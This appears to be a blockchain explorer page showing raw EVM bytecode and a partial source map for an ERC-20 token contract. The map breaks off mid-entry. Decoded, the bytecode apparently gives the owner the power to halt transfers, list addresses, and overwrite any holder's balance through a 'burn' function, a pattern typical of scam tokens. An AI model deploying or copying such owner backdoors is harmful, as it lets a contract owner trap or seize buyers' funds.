61149990611945565b60405180910390fd5b816004546114b09190611b2d565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600560008282546115049190611b2d565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516115699190611a85565b60405180910390a3505050565b505050565b60008135905061158a81611fcc565b92915050565b60008135905061159f81611fe3565b92915050565b6000602082840312156115b757600080fd5b60006115c58482850161157b565b91505092915050565b600080604083850312156115e157600080fd5b60006115ef8582860161157b565b92505060206116008582860161157b565b9150509250929050565b60008060006060848603121561161f57600080fd5b600061162d8682870161157b565b935050602061163e8682870161157b565b925050604061164f86828701611590565b9150509250925092565b6000806040838503121561166c57600080fd5b600061167a8582860161157b565b925050602061168b85828601611590565b9150509250929050565b6000602082840312156116a757600080fd5b60006116b584828501611590565b91505092915050565b6116c781611b73565b82525050565b60006116d882611abb565b6116e28185611ac6565b93506116f2818560208601611bb6565b6116fb81611c79565b840191505092915050565b6000611713602383611ac6565b915061171e82611c8a565b604082019050919050565b6000611736601f83611ac6565b915061174182611cd9565b602082019050919050565b6000611759602283611ac6565b915061176482611d02565b604082019050919050565b600061177c602983611ac6565b915061178782611d51565b604082019050919050565b600061179f602283611ac6565b91506117aa82611da0565b604082019050919050565b60006117c2602683611ac6565b91506117cd82611def565b604082019050919050565b60006117e5602883611ac6565b91506117f082611e3e565b604082019050919050565b6000611808602183611ac6565b915061181382611e8d565b604082019050919050565b600061182b602583611ac6565b915061183682611edc565b604082019050919050565b600061184e600083611ac6565b915061185982611f2b565b600082019050919050565b6000611871602483611ac6565b915061187c82611f2e565b604082019050919050565b6000611894602583611ac6565b915061189f82611f7d565b604082019050919050565b6118b381611b9f565b82525050565b6118c281611ba9565b82525050565b60006020820190506118dd60008301846116be565b92915050565b600060208201905081810360008301526118fd81846116cd565b905092915050565b6000602082019050818103600083015261191e81611706565b9050919050565b6000602082019050818103600083015261193e81611729565b9050919050565b6000602082019050818103600083015261195e8161174c565b9050919050565b6000602082019050818103600083015261197e8161176f565b9050919050565b6000602082019050818103600083015261199e81611792565b9050919050565b600060208201905081810360008301526119be816117b5565b9050919050565b600060208201905081810360008301526119de816117d8565b9050919050565b600060208201905081810360008301526119fe816117fb565b9050919050565b60006020820190508181036000830152611a1e8161181e565b9050919050565b60006020820190508181036000830152611a3e81611841565b9050919050565b60006020820190508181036000830152611a5e81611864565b9050919050565b60006020820190508181036000830152611a7e81611887565b9050919050565b6000602082019050611a9a60008301846118aa565b92915050565b6000602082019050611ab560008301846118b9565b92915050565b600081519050919050565b600082825260208201905092915050565b6000611ae282611b9f565b9150611aed83611b9f565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611b2257611b21611c1b565b5b828201905092915050565b6000611b3882611b9f565b9150611b4383611b9f565b925082821015611b5657611b55611c1b565b5b828203905092915050565b6000611b6c82611b7f565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611bd4578082015181840152602081019050611bb9565b83811115611be3576000848401525b50505050565b60006002820490506001821680611c0157607f821691505b60208210811415611c1557611c14611c4a565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206f6e6c7920746865206f776e657220616c6c6f77656400600082015250565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677261746572207460008201527f6861746e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b50565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b611fd581611b61565b8114611fe057600080fd5b50565b611fec81611b9f565b8114611ff757600080fd5b5056fea2646970667358221220f7796874dd7f2003886e75c128fae8229b4b1002a67cb98349744fb7a608ff5064736f6c63430008030033
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106101165760003560e01c806395d89b41116100a2578063b3d22e9c11610071578063b3d22e9c146102f5578063b67df42014610311578063dd62ed3e1461032d578063e22fb7301461035d578063e580b2b01461038d57610116565b806395d89b411461025b5780639dc29fac14610279578063a457c2d714610295578063a9059cbb146102c557610116565b8063313ce567116100e9578063313ce567146101b757806339509351146101d557806370a08231146102055780638203f5fe146102355780638fbbeb521461023f57610116565b806306fdde031461011b578063095ea7b31461013957806318160ddd1461016957806323b872dd14610187575b600080fd5b6101236103ab565b60405161013091906118e3565b60405180910390f35b610153600480360381019061014e9190611659565b61043d565b60405161016091906118c8565b60405180910390f35b61017161045b565b60405161017e9190611a85565b60405180910390f35b6101a1600480360381019061019c919061160a565b610465565b6040516101ae91906118c8565b60405180910390f35b6101bf610566565b6040516101cc9190611aa0565b60405180910390f35b6101ef60048036038101906101ea9190611659565b61056f565b6040516101fc91906118c8565b60405180910390f35b61021f600480360381019061021a91906115a5565b61061b565b60405161022c9190611a85565b60405180910390f35b61023d610663565b005b61025960048036038101906102549190611695565b61074d565b005b6102636107e7565b60405161027091906118e3565b60405180910390f35b610293600480360381019061028e9190611659565b610879565b005b6102af60048036038101906102aa9190611659565b610917565b6040516102bc91906118c8565b60405180910390f35b6102df60048036038101906102da9190611659565b610a0b565b6040516102ec91906118c8565b60405180910390f35b61030f600480360381019061030a91906115a5565b610a29565b005b61032b600480360381019061032691906115a5565b610b13565b005b610347600480360381019061034291906115ce565b610bfe565b6040516103549190611a85565b60405180910390f35b610377600480360381019061037291906115a5565b610c85565b60405161038491906118c8565b60405180910390f35b610395610cdb565b6040516103a291906118c8565b60405180910390f35b6060600680546103ba90611be9565b80601f01602080910402602001604051908101604052809291908181526020018280546103e690611be9565b80156104335780601f1061040857610100808354040283529160200191610433565b820191906000526020600020905b81548152906001019060200180831161041657829003601f168201915b5050505050905090565b600061045161044a610cf2565b8484610cfa565b6001905092915050565b6000600554905090565b6000610472848484610ec5565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104bd610cf2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561053d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610534906119c5565b60405180910390fd5b61055a85610549610cf2565b85846105559190611b2d565b610cfa565b60019150509392505050565b60006012905090565b600061061161057c610cf2565b84846002600061058a610cf2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461060c9190611ad7565b610cfa565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ea90611925565b60405180910390fd5b60011515600360009054906101000a900460ff161515141561072f576000600360006101000a81548160ff02191690831515021790555061074b565b6001600360006101000a81548160ff0219169083151502179055505b565b3373ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107d490611925565b60405180910390fd5b8060048190555050565b6060600780546107f690611be9565b80601f016020809104026020016040519081016040528092919081815260200182805461082290611be9565b801561086f5780601f106108445761010080835404028352916020019161086f565b820191906000526020600020905b81548152906001019060200180831161085257829003601f168201915b5050505050905090565b3373ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610909576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161090090611925565b60405180910390fd5b61091382826113ac565b5050565b60008060026000610926610cf2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156109e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109da90611a65565b60405180910390fd5b610a006109ee610cf2565b8585846109fb9190611b2d565b610cfa565b600191505092915050565b6000610a1f610a18610cf2565b8484610ec5565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ab9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab090611925565b60405180910390fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b3373ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ba3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9a90611925565b60405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600360009054906101000a900460ff16905090565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d6a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6190611a45565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610dda576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd190611985565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610eb89190611a85565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2c90611a05565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610fa5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9c90611905565b60405180910390fd5b60008111610fe8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fdf90611965565b60405180910390fd5b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806110895750600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156110e55760001515600360009054906101000a900460ff161515146110e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110db90611a25565b60405180910390fd5b5b60011515600360009054906101000a900460ff16151514806111545750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806111ac5750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611350576111bc838383611576565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611242576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611239906119a5565b60405180910390fd5b818161124e9190611b2d565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546112de9190611ad7565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516113429190611a85565b60405180910390a3506113a7565b60011515600360009054906101000a900460ff161515146113a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139d90611a25565b60405180910390fd5b5b505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561141c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611413906119e5565b60405180910390fd5b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156114a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149990611945565b60405180910390fd5b816004546114b09190611b2d565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600560008282546115049190611b2d565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516115699190611a85565b60405180910390a3505050565b505050565b60008135905061158a81611fcc565b92915050565b60008135905061159f81611fe3565b92915050565b6000602082840312156115b757600080fd5b60006115c58482850161157b565b91505092915050565b600080604083850312156115e157600080fd5b60006115ef8582860161157b565b92505060206116008582860161157b565b9150509250929050565b60008060006060848603121561161f57600080fd5b600061162d8682870161157b565b935050602061163e8682870161157b565b925050604061164f86828701611590565b9150509250925092565b6000806040838503121561166c57600080fd5b600061167a8582860161157b565b925050602061168b85828601611590565b9150509250929050565b6000602082840312156116a757600080fd5b60006116b584828501611590565b91505092915050565b6116c781611b73565b82525050565b60006116d882611abb565b6116e28185611ac6565b93506116f2818560208601611bb6565b6116fb81611c79565b840191505092915050565b6000611713602383611ac6565b915061171e82611c8a565b604082019050919050565b6000611736601f83611ac6565b915061174182611cd9565b602082019050919050565b6000611759602283611ac6565b915061176482611d02565b604082019050919050565b600061177c602983611ac6565b915061178782611d51565b604082019050919050565b600061179f602283611ac6565b91506117aa82611da0565b604082019050919050565b60006117c2602683611ac6565b91506117cd82611def565b604082019050919050565b60006117e5602883611ac6565b91506117f082611e3e565b604082019050919050565b6000611808602183611ac6565b915061181382611e8d565b604082019050919050565b600061182b602583611ac6565b915061183682611edc565b604082019050919050565b600061184e600083611ac6565b915061185982611f2b565b600082019050919050565b6000611871602483611ac6565b915061187c82611f2e565b604082019050919050565b6000611894602583611ac6565b915061189f82611f7d565b604082019050919050565b6118b381611b9f565b82525050565b6118c281611ba9565b82525050565b60006020820190506118dd60008301846116be565b92915050565b600060208201905081810360008301526118fd81846116cd565b905092915050565b6000602082019050818103600083015261191e81611706565b9050919050565b6000602082019050818103600083015261193e81611729565b9050919050565b6000602082019050818103600083015261195e8161174c565b9050919050565b6000602082019050818103600083015261197e8161176f565b9050919050565b6000602082019050818103600083015261199e81611792565b9050919050565b600060208201905081810360008301526119be816117b5565b9050919050565b600060208201905081810360008301526119de816117d8565b9050919050565b600060208201905081810360008301526119fe816117fb565b9050919050565b60006020820190508181036000830152611a1e8161181e565b9050919050565b60006020820190508181036000830152611a3e81611841565b9050919050565b60006020820190508181036000830152611a5e81611864565b9050919050565b60006020820190508181036000830152611a7e81611887565b9050919050565b6000602082019050611a9a60008301846118aa565b92915050565b6000602082019050611ab560008301846118b9565b92915050565b600081519050919050565b600082825260208201905092915050565b6000611ae282611b9f565b9150611aed83611b9f565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611b2257611b21611c1b565b5b828201905092915050565b6000611b3882611b9f565b9150611b4383611b9f565b925082821015611b5657611b55611c1b565b5b828203905092915050565b6000611b6c82611b7f565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611bd4578082015181840152602081019050611bb9565b83811115611be3576000848401525b50505050565b60006002820490506001821680611c0157607f821691505b60208210811415611c1557611c14611c4a565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206f6e6c7920746865206f776e657220616c6c6f77656400600082015250565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677261746572207460008201527f6861746e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b50565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b611fd581611b61565b8114611fe057600080fd5b50565b611fec81611b9f565b8114611ff757600080fd5b5056fea2646970667358221220f7796874dd7f2003886e75c128fae8229b4b1002a67cb98349744fb7a608ff5064736f6c63430008030033
Deployed Bytecode Sourcemap
249:495:2:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2326:100:3;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5151:169;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3446:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5802:418;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3288:93;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6629:215;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4174:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3897:123;;;:::i;:::-;;4309:89;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2545:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;640:101:2;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7347:375:3;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4615:175;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3675:98;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3566:101;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4853:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3781:108;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4029:82;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2326:100;2380:13;2413:5;2406:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2326:100;:::o;5151:169::-;5234:4;5251:39;5260:12;:10;:12::i;:::-;5274:7;5283:6;5251:8;:39::i;:::-;5308:4;5301:11;;5151:169;;;;:::o;3446:108::-;3507:7;3534:12;;3527:19;;3446:108;:::o;5802:418::-;5908:4;5925:36;5935:6;5943:9;5954:6;5925:9;:36::i;:::-;5972:24;5999:11;:19;6011:6;5999:19;;;;;;;;;;;;;;;:33;6019:12;:10;:12::i;:::-;5999:33;;;;;;;;;;;;;;;;5972:60;;6071:6;6051:16;:26;;6043:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;6133:57;6142:6;6150:12;:10;:12::i;:::-;6183:6;6164:16;:25;;;;:::i;:::-;6133:8;:57::i;:::-;6208:4;6201:11;;;5802:418;;;;;:::o;3288:93::-;3346:5;3371:2;3364:9;;3288:93;:::o;6629:215::-;6717:4;6734:80;6743:12;:10;:12::i;:::-;6757:7;6803:10;6766:11;:25;6778:12;:10;:12::i;:::-;6766:25;;;;;;;;;;;;;;;:34;6792:7;6766:34;;;;;;;;;;;;;;;;:47;;;;:::i;:::-;6734:8;:80::i;:::-;6832:4;6825:11;;6629:215;;;;:::o;4174:127::-;4248:7;4275:9;:18;4285:7;4275:18;;;;;;;;;;;;;;;;4268:25;;4174:127;;;:::o;3897:123::-;2190:10;2180:20;;:6;;;;;;;;;;;:20;;;2172:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;3970:4:::1;3961:13;;:5;;;;;;;;;;;:13;;;3957:56;;;3985:5;3977;;:13;;;;;;;;;;;;;;;;;;3957:56;;;4007:4;3999:5;;:12;;;;;;;;;;;;;;;;;;3957:56;3897:123::o:0;4309:89::-;2190:10;2180:20;;:6;;;;;;;;;;;:20;;;2172:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;4385:5:::1;4373:9;:17;;;;4309:89:::0;:::o;2545:104::-;2601:13;2634:7;2627:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2545:104;:::o;640:101:2:-;2190:10:3;2180:20;;:6;;;;;;;;;;;:20;;;2172:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;713:22:2::1;719:7;728:6;713:5;:22::i;:::-;640:101:::0;;:::o;7347:375:3:-;7440:4;7457:24;7484:11;:25;7496:12;:10;:12::i;:::-;7484:25;;;;;;;;;;;;;;;:34;7510:7;7484:34;;;;;;;;;;;;;;;;7457:61;;7557:15;7537:16;:35;;7529:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;7625:67;7634:12;:10;:12::i;:::-;7648:7;7676:15;7657:16;:34;;;;:::i;:::-;7625:8;:67::i;:::-;7710:4;7703:11;;;7347:375;;;;:::o;4615:175::-;4701:4;4718:42;4728:12;:10;:12::i;:::-;4742:9;4753:6;4718:9;:42::i;:::-;4778:4;4771:11;;4615:175;;;;:::o;3675:98::-;2190:10;2180:20;;:6;;;;;;;;;;;:20;;;2172:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;3761:4:::1;3740:8:::0;:18:::1;3749:8;3740:18;;;;;;;;;;;;;;;;:25;;;;;;;;;;;;;;;;;;3675:98:::0;:::o;3566:101::-;2190:10;2180:20;;:6;;;;;;;;;;;:20;;;2172:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;3654:5:::1;3633:8;:18;3642:8;3633:18;;;;;;;;;;;;;;;;:26;;;;;;;;;;;;;;;;;;3566:101:::0;:::o;4853:151::-;4942:7;4969:11;:18;4981:5;4969:18;;;;;;;;;;;;;;;:27;4988:7;4969:27;;;;;;;;;;;;;;;;4962:34;;4853:151;;;;:::o;3781:108::-;3839:4;3863:8;:18;3872:8;3863:18;;;;;;;;;;;;;;;;;;;;;;;;;3856:25;;3781:108;;;:::o;4029:82::-;4074:4;4098:5;;;;;;;;;;;4091:12;;4029:82;:::o;601:98:1:-;654:7;681:10;674:17;;601:98;:::o;10300:346:3:-;10419:1;10402:19;;:5;:19;;;;10394:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;10500:1;10481:21;;:7;:21;;;;10473:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;10584:6;10554:11;:18;10566:5;10554:18;;;;;;;;;;;;;;;:27;10573:7;10554:27;;;;;;;;;;;;;;;:36;;;;10622:7;10606:32;;10615:5;10606:32;;;10631:6;10606:32;;;;;;:::i;:::-;;;;;;;;10300:346;;;:::o;8212:886::-;8336:1;8318:20;;:6;:20;;;;8310:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;8420:1;8399:23;;:9;:23;;;;8391:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;8490:1;8481:6;:10;8473:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;8552:8;:16;8561:6;8552:16;;;;;;;;;;;;;;;;;;;;;;;;;:39;;;;8572:8;:19;8581:9;8572:19;;;;;;;;;;;;;;;;;;;;;;;;;8552:39;8548:82;;;8620:5;8611:14;;:5;;;;;;;;;;;:14;;;8603:27;;;;;;;;;;;;:::i;:::-;;;;;;;;;8548:82;8654:4;8645:13;;:5;;;;;;;;;;;:13;;;:33;;;;8672:6;;;;;;;;;;;8662:16;;:6;:16;;;8645:33;:56;;;;8695:6;;;;;;;;;;;8682:19;;:9;:19;;;8645:56;8641:449;;;8714:47;8735:6;8743:9;8754:6;8714:20;:47::i;:::-;8772:21;8796:9;:17;8806:6;8796:17;;;;;;;;;;;;;;;;8772:41;;8849:6;8832:13;:23;;8824:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;8945:6;8929:13;:22;;;;:::i;:::-;8909:9;:17;8919:6;8909:17;;;;;;;;;;;;;;;:42;;;;8986:6;8962:9;:20;8972:9;8962:20;;;;;;;;;;;;;;;;:30;;;;;;;:::i;:::-;;;;;;;;9025:9;9008:35;;9017:6;9008:35;;;9036:6;9008:35;;;;;;:::i;:::-;;;;;;;;8641:449;;;;9079:4;9070:13;;:5;;;;;;;;;;;:13;;;9061:27;;;;;;;;;;;;:::i;:::-;;;;;;;;;8641:449;8212:886;;;:::o;9435:423::-;9538:1;9519:21;;:7;:21;;;;9511:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;9589:22;9614:9;:18;9624:7;9614:18;;;;;;;;;;;;;;;;9589:43;;9669:6;9651:14;:24;;9643:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;9758:6;9746:9;;:18;;;;:::i;:::-;9725:9;:18;9735:7;9725:18;;;;;;;;;;;;;;;:39;;;;9791:6;9775:12;;:22;;;;;;;:::i;:::-;;;;;;;;9839:1;9813:37;;9822:7;9813:37;;;9843:6;9813:37;;;;;;:::i;:::-;;;;;;;;9435:423;;;:::o;11208:92::-;;;;:::o;7:139:6:-;;91:6;78:20;69:29;;107:33;134:5;107:33;:::i;:::-;59:87;;;;:::o;152:139::-;;236:6;223:20;214:29;;252:33;279:5;252:33;:::i;:::-;204:87;;;;:::o;297:262::-;;405:2;393:9;384:7;380:23;376:32;373:2;;;421:1;418;411:12;373:2;464:1;489:53;534:7;525:6;514:9;510:22;489:53;:::i;:::-;479:63;;435:117;363:196;;;;:::o;565:407::-;;;690:2;678:9;669:7;665:23;661:32;658:2;;;706:1;703;696:12;658:2;749:1;774:53;819:7;810:6;799:9;795:22;774:53;:::i;:::-;764:63;;720:117;876:2;902:53;947:7;938:6;927:9;923:22;902:53;:::i;:::-;892:63;;847:118;648:324;;;;;:::o;978:552::-;;;;1120:2;1108:9;1099:7;1095:23;1091:32;1088:2;;;1136:1;1133;1126:12;1088:2;1179:1;1204:53;1249:7;1240:6;1229:9;1225:22;1204:53;:::i;:::-;1194:63;;1150:117;1306:2;1332:53;1377:7;1368:6;1357:9;1353:22;1332:53;:::i;:::-;1322:63;;1277:118;1434:2;1460:53;1505:7;1496:6;1485:9;1481:22;1460:53;:::i;:::-;1450:63;;1405:118;1078:452;;;;;:::o;1536:407::-;;;1661:2;1649:9;1640:7;1636:23;1632:32;1629:2;;;167